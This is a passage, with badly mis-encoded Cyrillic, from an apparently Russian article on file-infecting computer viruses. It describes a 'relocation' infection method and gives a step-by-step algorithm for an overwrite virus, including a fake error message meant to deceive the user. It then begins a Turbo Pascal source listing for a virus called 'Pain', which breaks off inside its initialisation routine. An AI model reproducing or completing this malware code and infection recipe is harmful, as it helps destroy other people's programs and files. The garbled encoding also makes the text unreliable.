ΡΠΎΠΌ, ΡΡΠΎ ΠΏΡΠΈΡ ΠΎΠ΄ΠΈΡΡΡ ΡΡΠΈΡΡΠ²Π°ΡΡ Π² ΠΏΠ°ΠΌΡΡΡ Π²Π΅ΡΡ ΠΊΠΎΠ΄ ΠΈΠ½ΡΠΈΡΠΈΡΡΠ΅ΠΌΠΎΠΉ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ (Π° Π²Π΅Π΄Ρ Π±ΡΠ²Π°ΡΡ ΡΠΊΠ·Π΅ΠΌΠΏΠ»ΡΡΡ ΡΠ°Π·ΠΌΠ΅ΡΠΎΠΌ Π±ΠΎΠ»ΡΡΠ΅ 1ΠΠ±Π°ΠΉΡ).
Π‘Π»Π΅Π΄ΡΡΡΠΈΠΉ ΡΠΏΠΎΡΠΎΠ± Π·Π°ΡΠ°ΠΆΠ΅Π½ΠΈΡ ΡΠ°ΠΉΠ»ΠΎΠ² β ΠΌΠ΅ΡΠΎΠ΄ ΠΏΠ΅ΡΠ΅Π½ΠΎΡΠ° β ΠΏΠΎ Π²ΡΠ΅ΠΉ Π²ΠΈΠ΄ΠΈΠΌΠΎΡΡΠΈ, ΡΠ²Π»ΡΠ΅ΡΡΡ ΡΠ°ΠΌΡΠΌ ΡΠΎΠ²Π΅ΡΡΠ΅Π½Π½ΡΠΌ ΠΈΠ· Π²ΡΠ΅Ρ ΠΏΠ΅ΡΠ΅ΡΠΈΡΠ»Π΅Π½Π½ΡΡ . ΠΠΈΡΡΡ ΡΠ°Π·ΠΌΠ½ΠΎΠΆΠ°Π΅ΡΡΡ ΡΠ»Π΅Π΄ΡΡΡΠΈΠΌ ΠΎΠ±ΡΠ°Π·ΠΎΠΌ: ΠΏΡΠΈ Π·Π°ΠΏΡΡΠΊΠ΅ ΠΈΠ½ΡΠΈΡΠΈΡΠΎΠ²Π°Π½Π½ΠΎΠΉ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ ΡΠ΅Π»ΠΎ Π²ΠΈΡΡΡΠ° ΠΈΠ· Π½Π΅Π΅ ΡΡΠΈΡΡΠ²Π°Π΅ΡΡΡ Π² ΠΏΠ°ΠΌΡΡΡ. ΠΠ°ΡΠ΅ΠΌ Π²Π΅Π΄Π΅ΡΡΡ ΠΏΠΎΠΈΡΠΊ Π½Π΅ΠΈΠ½ΡΠΈΡΠΈΡΠΎΠ²Π°Π½Π½ΠΎΠΉ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ. Π ΠΏΠ°ΠΌΡΡΡ ΡΡΠΈΡΡΠ²Π°Π΅ΡΡΡ Π΅Π΅ Π½Π°ΡΠ°Π»ΠΎ, ΠΏΠΎ Π΄Π»ΠΈΠ½Π΅ ΡΠ°Π²Π½ΠΎΠ΅ ΡΠ΅Π»Ρ Π²ΠΈΡΡΡΠ°. ΠΠ° ΡΡΠΎ ΠΌΠ΅ΡΡΠΎ Π·Π°ΠΏΠΈΡΡΠ²Π°Π΅ΡΡΡ ΡΠ΅Π»ΠΎ Π²ΠΈΡΡΡΠ°. ΠΠ°ΡΠ°Π»ΠΎ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ ΠΈΠ· ΠΏΠ°ΠΌΡΡΠΈ Π΄ΠΎΠΏΠΈΡΡΠ²Π°Π΅ΡΡΡ Π² ΠΊΠΎΠ½Π΅Ρ ΡΠ°ΠΉΠ»Π°. ΠΡΡΡΠ΄Π° Π½Π°Π·Π²Π°Π½ΠΈΠ΅ ΠΌΠ΅ΡΠΎΠ΄Π° β Β«ΠΌΠ΅ΡΠΎΠ΄ ΠΏΠ΅ΡΠ΅Π½ΠΎΡΠ°Β». ΠΠΎΡΠ»Π΅ ΡΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π²ΠΈΡΡΡ ΠΈΠ½ΡΠΈΡΠΈΡΠΎΠ²Π°Π» ΠΎΠ΄ΠΈΠ½ ΠΈΠ»ΠΈ Π½Π΅ΡΠΊΠΎΠ»ΡΠΊΠΎ ΡΠ°ΠΉΠ»ΠΎΠ², ΠΎΠ½ ΠΏΡΠΈΡΡΡΠΏΠ°Π΅Ρ ΠΊ ΠΈΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΡ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ, ΠΈΠ· ΠΊΠΎΡΠΎΡΠΎΠΉ Π·Π°ΠΏΡΡΡΠΈΠ»ΡΡ. ΠΠ»Ρ ΡΡΠΎΠ³ΠΎ ΠΎΠ½ ΡΡΠΈΡΡΠ²Π°Π΅Ρ Π½Π°ΡΠ°Π»ΠΎ ΠΈΠ½ΡΠΈΡΠΈΡΠΎΠ²Π°Π½Π½ΠΎΠΉ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ, ΡΠΎΡ ΡΠ°Π½Π΅Π½Π½ΠΎΠ΅ Π² ΠΊΠΎΠ½ΡΠ΅ ΡΠ°ΠΉΠ»Π°, ΠΈ Π·Π°ΠΏΠΈΡΡΠ²Π°Π΅Ρ Π΅Π³ΠΎ Π² Π½Π°ΡΠ°Π»ΠΎ ΡΠ°ΠΉΠ»Π°, Π²ΠΎΡΡΡΠ°Π½Π°Π²Π»ΠΈΠ²Π°Ρ ΡΠ°Π±ΠΎΡΠΎΡΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡΡ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ. ΠΠ°ΡΠ΅ΠΌ Π²ΠΈΡΡΡ ΡΠ΄Π°Π»ΡΠ΅Ρ ΠΊΠΎΠ΄ Π½Π°ΡΠ°Π»Π° ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ ΠΈΠ· ΠΊΠΎΠ½ΡΠ° ΡΠ°ΠΉΠ»Π°, Π²ΠΎΡΡΡΠ°Π½Π°Π²Π»ΠΈΠ²Π°Ρ ΠΎΡΠΈΠ³ΠΈΠ½Π°Π»ΡΠ½ΡΡ Π΄Π»ΠΈΠ½Ρ ΡΠ°ΠΉΠ»Π°, ΠΈ ΠΈΡΠΏΠΎΠ»Π½ΡΠ΅Ρ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ. ΠΠΎΡΠ»Π΅ Π·Π°Π²Π΅ΡΡΠ΅Π½ΠΈΡ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ Π²ΠΈΡΡΡ Π²Π½ΠΎΠ²Ρ Π·Π°ΠΏΠΈΡΡΠ²Π°Π΅Ρ ΡΠ²ΠΎΠΉ ΠΊΠΎΠ΄ Π² Π½Π°ΡΠ°Π»ΠΎ ΡΠ°ΠΉΠ»Π°, Π° ΠΎΡΠΈΠ³ΠΈΠ½Π°Π»ΡΠ½ΠΎΠ΅ Π½Π°ΡΠ°Π»ΠΎ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ β Π² ΠΊΠΎΠ½Π΅Ρ. ΠΡΠΈΠΌ ΠΌΠ΅ΡΠΎΠ΄ΠΎΠΌ ΠΌΠΎΠ³ΡΡ Π±ΡΡΡ ΠΈΠ½ΡΠΈΡΠΈΡΠΎΠ²Π°Π½Ρ Π΄Π°ΠΆΠ΅ Π°Π½ΡΠΈΠ²ΠΈΡΡΡΡ, ΠΊΠΎΡΠΎΡΡΠ΅ ΠΏΡΠΎΠ²Π΅ΡΡΡΡ ΡΠ²ΠΎΠΉ ΠΊΠΎΠ΄ Π½Π° ΡΠ΅Π»ΠΎΡΡΠ½ΠΎΡΡΡ, ΡΠ°ΠΊ ΠΊΠ°ΠΊ Π·Π°ΠΏΡΡΠΊΠ°Π΅ΠΌΠ°Ρ Π²ΠΈΡΡΡΠΎΠΌ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ° ΠΈΠΌΠ΅Π΅Ρ Π² ΡΠΎΡΠ½ΠΎΡΡΠΈ ΡΠ°ΠΊΠΎΠΉ ΠΆΠ΅ ΠΊΠΎΠ΄, ΠΊΠ°ΠΊ ΠΈ Π΄ΠΎ ΠΈΠ½ΡΠΈΡΠΈΡΠΎΠ²Π°Π½ΠΈΡ.
ΠΠΈΡΡΡΡ, Π·Π°ΠΌΠ΅ΡΠ°ΡΡΠΈΠ΅ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ½ΡΠΉ ΠΊΠΎΠ΄ (Overwrite)
ΠΠ°ΠΊ ΡΠΆΠ΅ Π³ΠΎΠ²ΠΎΡΠΈΠ»ΠΎΡΡ, ΡΡΠΎΡ Π²ΠΈΠ΄ Π²ΠΈΡΡΡΠΎΠ² ΡΠΆΠ΅ Π΄Π°Π²Π½ΠΎ ΠΌΠ΅ΡΡΠ². ΠΠ·ΡΠ΅Π΄ΠΊΠ° ΠΏΠΎΡΠ²Π»ΡΡΡΡΡ Π΅ΡΠ΅ ΡΠ°ΠΊΠΈΠ΅ Π²ΠΈΡΡΡΡ, ΡΠΎΠ·Π΄Π°Π½Π½ΡΠ΅ Π½Π° ΡΠ·ΡΠΊΠ΅ Assembler, Π½ΠΎ ΡΡΠΎ, ΡΠΊΠΎΡΠ΅Π΅, ΡΠΎΡΠ΅Π²Π½ΠΎΠ²Π°Π½ΠΈΠ΅ Π² Π½Π°ΠΏΠΈΡΠ°Π½ΠΈΠΈ ΡΠ°ΠΌΠΎΠ³ΠΎ ΠΌΠ°Π»Π΅Π½ΡΠΊΠΎΠ³ΠΎ overwrite-Π²ΠΈΡΡΡΠ°. ΠΠ° Π΄Π°Π½Π½ΡΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ ΡΠ°ΠΌΡΠΉ ΠΌΠ°Π»Π΅Π½ΡΠΊΠΈΠΉ ΠΈΠ· ΠΈΠ·Π²Π΅ΡΡΠ½ΡΡ overwrite-Π²ΠΈΡΡΡΠΎΠ² Π½Π°ΠΏΠΈΡΠ°Π½ ReminderW (Death Virii Crew group) ΠΈ Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ 22 Π±Π°ΠΉΡΠ°.
ΠΠ»Π³ΠΎΡΠΈΡΠΌ ΡΠ°Π±ΠΎΡΡ overwrite-Π²ΠΈΡΡΡΠ° ΡΠ»Π΅Π΄ΡΡΡΠΈΠΉ:
1. ΠΡΠΊΡΡΡΡ ΡΠ°ΠΉΠ», ΠΈΠ· ΠΊΠΎΡΠΎΡΠΎΠ³ΠΎ Π²ΠΈΡΡΡ ΠΏΠΎΠ»ΡΡΠΈΠ» ΡΠΏΡΠ°Π²Π»Π΅Π½ΠΈΠ΅.
2. Π‘ΡΠΈΡΠ°ΡΡ Π² Π±ΡΡΠ΅Ρ ΠΊΠΎΠ΄ Π²ΠΈΡΡΡΠ°.
3. ΠΠ°ΠΊΡΡΡΡ ΡΠ°ΠΉΠ».
4. ΠΡΠΊΠ°ΡΡ ΠΏΠΎ ΠΌΠ°ΡΠΊΠ΅ ΠΏΠΎΠ΄Ρ ΠΎΠ΄ΡΡΠΈΠΉ Π΄Π»Ρ Π·Π°ΡΠ°ΠΆΠ΅Π½ΠΈΡ ΡΠ°ΠΉΠ».
5. ΠΡΠ»ΠΈ ΡΠ°ΠΉΠ»ΠΎΠ² Π±ΠΎΠ»ΡΡΠ΅ Π½Π΅ Π½Π°ΠΉΠ΄Π΅Π½ΠΎ, ΠΏΠ΅ΡΠ΅ΠΉΡΠΈ ΠΊ ΠΏΡΠ½ΠΊΡΡ 11.
6. ΠΡΠΊΡΡΡΡ Π½Π°ΠΉΠ΄Π΅Π½Π½ΡΠΉ ΡΠ°ΠΉΠ».
7. ΠΡΠΎΠ²Π΅ΡΠΈΡΡ, Π½Π΅ Π·Π°ΡΠ°ΠΆΠ΅Π½ Π»ΠΈ Π½Π°ΠΉΠ΄Π΅Π½Π½ΡΠΉ ΡΠ°ΠΉΠ» ΡΡΠΈΠΌ Π²ΠΈΡΡΡΠΎΠΌ.
8. ΠΡΠ»ΠΈ ΡΠ°ΠΉΠ» Π·Π°ΡΠ°ΠΆΠ΅Π½, ΠΏΠ΅ΡΠ΅ΠΉΡΠΈ ΠΊ ΠΏΡΠ½ΠΊΡΡ 10.
9. ΠΠ°ΠΏΠΈΡΠ°ΡΡ Π² Π½Π°ΡΠ°Π»ΠΎ ΡΠ°ΠΉΠ»Π° ΠΊΠΎΠ΄ Π²ΠΈΡΡΡΠ°.
10. ΠΠ°ΠΊΡΡΡΡ ΡΠ°ΠΉΠ» (ΠΏΠΎ ΠΆΠ΅Π»Π°Π½ΠΈΡ ΠΌΠΎΠΆΠ½ΠΎ Π·Π°ΡΠ°Π·ΠΈΡΡ ΠΎΡ ΠΎΠ΄Π½ΠΎΠ³ΠΎ Π΄ΠΎ Π²ΡΠ΅Ρ ΡΠ°ΠΉΠ»ΠΎΠ² Π² ΠΊΠ°ΡΠ°Π»ΠΎΠ³Π΅ ΠΈΠ»ΠΈ Π½Π° Π΄ΠΈΡΠΊΠ΅).
11. ΠΡΠ΄Π°ΡΡ Π½Π° ΡΠΊΡΠ°Π½ ΠΊΠ°ΠΊΠΎΠ΅-Π»ΠΈΠ±ΠΎ ΡΠΎΠΎΠ±ΡΠ΅Π½ΠΈΠ΅ ΠΎΠ± ΠΎΡΠΈΠ±ΠΊΠ΅, Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ Β«Abnormal program terminationΒ» ΠΈΠ»ΠΈ Β«Not enough memoryΒ», β ΠΏΡΡΡΡ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ Π½Π΅ ΡΠ»ΠΈΡΠΊΠΎΠΌ ΡΠ΄ΠΈΠ²Π»ΡΠ΅ΡΡΡ ΡΠΎΠΌΡ, ΡΡΠΎ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ° Π½Π΅ Π·Π°ΠΏΡΡΡΠΈΠ»Π°ΡΡ.
12. ΠΠ°Π²Π΅ΡΡΠΈΡΡ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ.
ΠΠΈΠΆΠ΅ ΠΏΡΠΈΠ²Π΅Π΄Π΅Π½ Π»ΠΈΡΡΠΈΠ½Π³ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ, Π·Π°ΡΠ°ΠΆΠ°ΡΡΠ΅ΠΉ ΡΠ°ΠΉΠ»Ρ ΡΠ°ΠΊΠΈΠΌ ΡΠΏΠΎΡΠΎΠ±ΠΎΠΌ.
{$M 2048, 0, 0}
{$Aβ}
{$Bβ}
{$Dβ}
{$E+}
{$Fβ}
{$Gβ}
{$Iβ}
{$Lβ}
{$Nβ}
{$Sβ}
{$Vβ}
{$X+}
{ΠΡΠΏΠΎΠ»ΡΠ·ΡΡΡΡΡ ΠΌΠΎΠ΄ΡΠ»ΠΈ Dos ΠΈ System (ΠΌΠΎΠ΄ΡΠ»Ρ System Π°Π²ΡΠΎΠΌΠ°ΡΠΈΡΠ΅ΡΠΊΠΈ
ΠΏΠΎΠ΄ΠΊΠ»ΡΡΠ°Π΅ΡΡΡ ΠΊ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ΅ ΠΏΡΠΈ ΠΊΠΎΠΌΠΏΠΈΠ»ΡΡΠΈΠΈ)}
Uses Dos;
Const
{ΠΠΌΡ Π²ΠΈΡΡΡΠ°}
VirName=βPainβ;
{Π‘ΡΡΠΎΠΊΠ° Π΄Π»Ρ ΠΏΡΠΎΠ²Π΅ΡΠΊΠΈ Π½Π° ΠΏΠΎΠ²ΡΠΎΡΠ½ΠΎΠ΅ Π·Π°ΡΠ°ΠΆΠ΅Π½ΠΈΠ΅.
ΠΠ½Π° Π΄ΠΎΠΏΠΈΡΡΠ²Π°Π΅ΡΡΡ Π² Π·Π°ΡΠ°ΠΆΠ°Π΅ΠΌΡΠΉ ΡΠ°ΠΉΠ» ΡΡΠ°Π·Ρ ΠΏΠΎΡΠ»Π΅ ΠΊΠΎΠ΄Π° Π²ΠΈΡΡΡΠ°}
VirLabel: String[5]=βPain!β;
{ΠΠ»ΠΈΠ½Π° ΠΏΠΎΠ»ΡΡΠ°Π΅ΠΌΠΎΠ³ΠΎ ΠΏΡΠΈ ΠΊΠΎΠΌΠΏΠΈΠ»ΡΡΠΈΠΈ EXEβΡΠ°ΠΉΠ»Π°}
VirLen=4208;
Author=βDirty Nazi/SGWW.β;
{ΠΠΎΠ»ΠΈΡΠ΅ΡΡΠ²ΠΎ Π·Π°ΡΠ°ΠΆΠ°Π΅ΠΌΡΡ Π·Π° ΠΎΠ΄ΠΈΠ½ ΡΠ΅Π°Π½Ρ ΡΠ°Π±ΠΎΡΡ ΡΠ°ΠΉΠ»ΠΎΠ²}
InfCount=2;
Var
{ΠΠ°ΡΡΠΈΠ² Π΄Π»Ρ ΠΎΠΏΡΠ΅Π΄Π΅Π»Π΅Π½ΠΈΡ Π½Π°Π»ΠΈΡΠΈΡ ΠΊΠΎΠΏΠΈΠΈ Π²ΠΈΡΡΡΠ° Π² Π½Π°ΠΉΠ΄Π΅Π½Π½ΠΎΠΌ ΡΠ°ΠΉΠ»Π΅}
VirIdentifier: Array [1.5] of Char;
{Π€Π°ΠΉΠ»ΠΎΠ²Π°Ρ ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½Π°Ρ Π΄Π»Ρ ΡΠ°Π±ΠΎΡΡ Ρ ΡΠ°ΠΉΠ»Π°ΠΌΠΈ}
VirBody: File;
{ΠΡΠ΅ ΠΎΠ΄Π½Π° ΡΠ°ΠΉΠ»ΠΎΠ²Π°Ρ ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½Π°Ρ β Ρ ΠΎΡΡ Π±Π΅Π· Π½Π΅Π΅ ΠΌΠΎΠΆΠ½ΠΎ Π±ΡΠ»ΠΎ
ΠΎΠ±ΠΎΠΉΡΠΈΡΡ, ΡΠ°ΠΊ Π±ΡΠ΄Π΅Ρ ΠΏΠΎΠ½ΡΡΠ½Π΅Π΅}
Target: File;
{ΠΠ»Ρ ΠΈΠΌΠ΅Π½ΠΈ Π½Π°ΠΉΠ΄Π΅Π½Π½ΠΎΠ³ΠΎ ΡΠ°ΠΉΠ»Π°}
TargetFile: PathStr;
{ΠΡΡΠ΅Ρ Π΄Π»Ρ ΡΠ΅Π»Π° Π²ΠΈΡΡΡΠ°}
VirBuf : Array [1.VirLen] of Char;
{ΠΠ»Ρ Π΄Π°ΡΡ/Π²ΡΠ΅ΠΌΠ΅Π½ΠΈ ΡΠ°ΠΉΠ»Π°}
Time : LongInt;
{Π‘ΡΠ΅ΡΡΠΈΠΊ ΠΊΠΎΠ»ΠΈΡΠ΅ΡΡΠ²Π° ΠΈΠ½ΡΠΈΡΠΈΡΠΎΠ²Π°Π½Π½ΡΡ ΡΠ°ΠΉΠ»ΠΎΠ²}
InfFiles : Byte;
DirInfo : SearchRec;
LabelBuf : Array [1.5] of Char;
{ΠΠ½ΠΈΡΠΈΠ°Π»ΠΈΠ·Π°ΡΠΈΡ}
procedure Init;
begin
LabelBuf[1]:=VirLabel[1];
LabelBuf[2]:=VirLabel[2];
LabelBuf[3]:=VirLabel[3];
LabelBuf[4]:=VirLabel[4];
LabelBuf[5]:=VirLabel[5];
{ΠΠ±Π½ΡΠ»ΡΠ΅ΠΌ ΡΡΠ΅ΡΡΠΈΠΊ ΠΊΠΎΠ»ΠΈΡΠ΅ΡΡΠ²Π° ΠΈΠ½ΡΠΈΡΠΈΡΠΎΠ²Π°Π½Π½ΡΡ ΡΠ°ΠΉΠ»ΠΎΠ²}
InfFiles:=0;
{Π‘Π²ΡΠ·ΡΠ²Π°Π΅ΠΌ ΡΠ°ΠΉΠ»ΠΎΠ²ΡΡ ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½ΡΡ VirBody Ρ ΠΈΠΌΠ΅Π½Π΅ΠΌ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ,
ΠΈΠ· ΠΊΠΎΡΠΎΡΠΎΠΉ ΡΡΠ°ΡΡΠΎΠ²Π°Π»ΠΈ}